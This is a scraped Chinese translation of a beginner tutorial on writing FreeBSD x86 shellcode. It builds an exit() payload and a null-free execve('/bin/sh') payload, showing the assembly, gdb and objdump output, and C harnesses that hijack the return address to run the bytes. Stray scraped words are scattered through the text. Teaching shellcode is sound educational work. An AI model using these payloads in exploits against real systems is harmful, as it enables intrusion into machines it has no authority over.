来源 https://www.4hou.com/binary/14375.htmlhtml
介绍linux
本教程的目的是帮助你熟悉如何在FreeBSD操做系统上编写shellcode。虽然我会尽力在这里叙述全部有关的内容,但并不打算把本文写成汇编代码编程的入门读物。在反汇编中,你会注意到汇编代码采用AT&T语法,而我更喜欢使用Intel语法(不管是哪种,nasm的工做原理是同样的)。若是你担忧这些差别会带来困扰,请使用谷歌搜索并了解这些差别。请注意我只是一个编写shellcod的初学者,本文并不意味着是编写shellcode的所有内容;相反,本文对于全新的shellcoders来讲是一个简单的介绍。换句话说,若是你以及编写过shellcode,本文的内容可能不会让你感兴趣。shell
其中的代码改编自The Shellcoders Handbook中的linux代码示例。编程
我引用的资源:数组
· Unix系统编程http://vip.cs.utsa.edu/usp/
sass
· Shellcod编写参考手册http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
bash
· G. Adam Stanislav的FreeBSD汇编语言程序设计http://www.int80h.org/bsdasm/
编程语言
所需工具:ide
· objdump
函数
· NASM(Netwide Assembler)
· GCC
· GDB
在正式开始以前,让咱们节省一些时间来获取/usr/src/sys/kern/syscalls.master的副本,这是系统调用及其相关编号的列表。将副本保存在编码目录中能够节省后续的时间,你须要在以root身份登陆时打开文件并进行更改,不然可能会发生错误。让咱们谨慎一点,复制一份副本。
既然咱们已经完成了这一步,接下来咱们继续深刻,随着内容的深刻,我会逐步解释更多的事情。咱们要作的第一个shellcode是很是简单的,它用于exit()函数调用。咱们首先在C代码中建立exit(),而后咱们分析反汇编,以便咱们能够将其重写为asm。先编译这个文件:
gcc -o myexit myexit.c /* As easy as it gets */ #include main() { exit(0); // exit with "0" for successful exit }
如今咱们已经编译了代码,咱们但愿使用gdb来查看函数内部。以后咱们可以看到计算机自动生成了咱们的代码对应的汇编代码。只需按照说明的步骤操做,就能获得下面的结果:
bash$ gdb myexit (gdb) disas main Dump of assembler code for function main: 0x80481d8 : push %ebp 0x80481d9 : mov %esp,%ebp 0x80481db : sub $0x8,%esp 0x80481de : add $0xfffffff4,%esp 0x80481e1 : push $0x0 0x80481e3 : call 0x80498dc 0x80481e8 : add $0x10,%esp 0x80481eb : nop 0x80481ec : leave 0x80481ed : ret End of assembler dump.
让咱们一行一行的来分析一下。不要担忧任何事情,也不要担忧内存地址,由于个人地址极可能和你的不同。如今继续看看汇编代码,这是本文内容的第一个重要部分。传递给exit()函数的参数只有一个。接下来是退出了实际的调用。这是咱们须要搞清楚的两件主要的事情。在咱们进入代码以前,让咱们检查syscalls.master来获取sysexit()的值,grep这个文件后,咱们找到了这行:1 STD NOHIDE {void sys exit(int rval);exit sysexitargs void 。重要的信息是1,它是系统调用号的值和rval(返回值)参数。这代表sys_exit()接受一个参数,咱们应该知道返回值是’0’表明这是一个成功的退出。
好的,将它放入汇编代码中。
section .text global _start _start: xor eax, eax push eax push eax mov eax, 1 int 80h
经过上面的代码,在咱们进一步深刻解释为何代码会以这种方式有序的完成调用执行前,我会作个简短的说明。在FreeBSD(或NetBSD,OpenBSD)中,系统调用的参数是以相反的顺序被压入堆栈的,实际的系统调用号放入eax寄存器而后中断80 会调用内核来执行咱们的代码。
如今继续, 'xor eax,eax’代码,若是eax有任何值的话,就会将eax清零。而后咱们'push eax’两次。(我不知道是什么技术缘由致使的,但若是零被push堆栈一次,退出调用将返回1,咱们不但愿这样的返回值,只需将零push两次就行。)如今咱们加载eax 调用exit的系统调用值为1.最后咱们要作的是用'int 80h’来实际调用内核。
不错!如今咱们已经编写了了一些东西了,咱们能够从中得到shellcode!咱们须要组装而后连接这个文件。
bash$ nasm -f elf myexit.asm bash$ ld -s -o myexit myexit.o
如今它已经组装和连接好了,让咱们使用objdump来获取shellcode。
bash$ objdump -d myexit shortexit: file format elf32-i386 /usr/libexec/elf/objdump: shortexit: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 01 00 00 00 mov $0x1,%eax 8048089: cd 80 int $0x80
这段代码对某些人来讲可能已经很好了,但它对咱们来讲很糟糕。看看代码中的那些NULL(00),咱们不能直接使用这段代码,由于当咱们尝试在咱们以前编写的C程序中执行代码时就会发生中断。在C语言和其余编程语言中,NULL会终止一个字符串。这意味着若是咱们尝试将其加载到C语言数组中,程序就会崩溃。因此咱们不能那样作。也许有其余的方法能够处理这段asm代码,我想出的办法以下:
Section .text global _start _start: xor eax, eax push eax push eax inc eax int 80h
这里惟一不一样的是'inc eax’,让eax 增长1(记住eax是从零开始的,咱们须要返回1(退出系统调用的返回值)),因此在这种状况下它与’mov eax,1'是等价的。
再次,如上一个示例所示组装并连接它,而后使用objdump。
bash$ objdump -d myexit /usr/libexec/elf/objdump: exit_shellcode: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: 40 inc %eax 8048085: cd 80 int $0x80
如今看一下!没有NULL了,这段代码就是很好的shellcode,咱们保存一下!那么如今咱们有了正确的,没有NULL值的shellcode,如今是时候将它加载到C程序中来执行了。
#include #include /*working shellcode */ char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
就是这样,这段代码看起来真的很漂亮哦!如今进行编译:
bash$ gcc -o shellcode shellcode.c bash$ ./shellcode ; echo $? 0
因为程序退出时咱们确实看不到内部的细节,因此咱们使用 ‘echo $?'来输出结果。'$?' 是一个bash内置的变量,它保存程序的最后一个退出代码。因为咱们在代码中给出了退出的返回值就是’0’,所以,咱们的代码起做用了!干得不错,你的耐心和工做终于获得了回报。不过这只是一个开始,你可能不会使用这个代码。
好吧,你可能已经猜到了,退出的shellcode不是颇有趣或有用,但它是一个很好的例子,可以很容易的体现编写shellcode的关键点。如今是时候开始介绍一个更经常使用到的函数的shellcode了,这个函数就是利用execve()来生成一个shell。可是咱们还能用execve()作些什么呢?在咱们继续开始编写以前,咱们应该再次查询一下syscalls.master,以便咱们能够确切知道execve()指望传入的参数。由于execve不在文件的最开头,因此我是这样找到函数定义原型的。
bash$ grep -i 'execve' syscalls.master 59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
#include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }
如今编译,以下面所示,而后启动gdb:
bash$ gdb shell (gdb) disas main Dump of assembler code for function main: 0x80484a0 : push %ebp 0x80484a1 : mov %esp,%ebp 0x80484a3 : sub $0x18,%esp 0x80484a6 : movl $0x8048503,0xfffffff8(%ebp) 0x80484ad : movl $0x0,0xfffffffc(%ebp) 0x80484b4 : add $0xfffffffc,%esp 0x80484b7 : push $0x0 0x80484b9 : lea 0xfffffff8(%ebp),%eax 0x80484bc : push %eax 0x80484bd : mov 0xfffffff8(%ebp),%eax 0x80484c0 : push %eax 0x80484c1 : call 0x8048350 0x80484c6 : add $0x10,%esp 0x80484c9 : leave 0x80484ca : ret 0x80484cb : nop End of assembler dump.
哇,代码有点多!
因为这个代码更长一些,因此我将跳过代码自己,由于当你看到代码而后再解释应该会更清楚。这也是我将代码解释放在代码的注释中的缘由。
;不用担忧为何这里会出现这些代码,由于这些是必需的,只能放在这里 section .text global _start _start: ;这行代码是为了能够在堆上获取到 db ‘/bin/sh' 的地址 jmp short _callshell _shellcode: ;这行代码能够将 db ‘/bin/sh' 的地址弹到esi寄存器中 pop esi ;确认eax寄存器中没有值 xor eax, eax ;如今eax的值是NULL,咱们能够将一根字节放在'/bin/sh'字符串来做为终止字符 mov byte [esi + 7], al ;在FreeBSD汇编中,咱们将全部的参数以相反的顺序放在堆上。将空值的 eax 寄存器push两次由于咱们不能使用带参数的execve()。可是这是execve()所须要的 push eax push eax ;execve()须要的最后一个参数(注意这其实是第一个参数,由于这里的传入顺序是相反的) push esi ;这里是实际调用execve()的系统调用值,咱们将它移动到al中。若是咱们将这个值传入eax寄存器,那么咱们的shellcode会返回一个NULL值,这个作法不是很好。 mov al, 0x3b ;不要问我这里为何是这样的。由于shellcode须要。 push eax ;内核调用和执行以前咱们所作的准备工做。注意这里是一个80h中断 int 0x80 _callshell: ;这行代码返回到了咱们的代码的main函数入口。 call _shellcode ;咱们实际上想要执行的命令字符串将会传入execve()函数 db '/bin/sh'
如今咱们组装该文件:
bash$ nasm -f elf mynewshell.asm bash$ ld -o mynewshell mynewshell.o
而后咱们启动objdump:
bash$ objdump -d mynewshell mynewshell: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 0e jmp 8048090 <_callshell> 08048082 <_shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 50 push %eax 8048089: 50 push %eax 804808a: 56 push %esi 804808b: b0 3b mov $0x3b,%al 804808d: 50 push %eax 804808e: cd 80 int $0x80 08048090 <_callshell>: 8048090: e8 ed ff ff ff call 8048082 <_shellcode> 8048095: 2f das 8048096: 62 69 6e bound %ebp,0x6e(%ecx) 8048099: 2f das 804809a: 73 68 jae 8048104 <_callshell+0x74>
看看全部那些很“美丽”的shellcode。如今是时候将它格式化为一个有用的格式并放入C程序代码,以便咱们能够执行shellcode。
#include #include /*working shellcode */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b" "\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
编译并执行:
bash$ gcc -o shell shell.c bash$ ./shell $
shellcode有效!咱们制做了一个生成shell的shellcode。这须要一段时间才能实现,虽然这确定不是你能够用shellcode的作不少事情的结束,至少它让你有信心阅读其余更全面的教程,并开始编写本身的shellcode。
本文翻译自:https://cryogenix.net/shellcoding_on_freebsd.html
================ End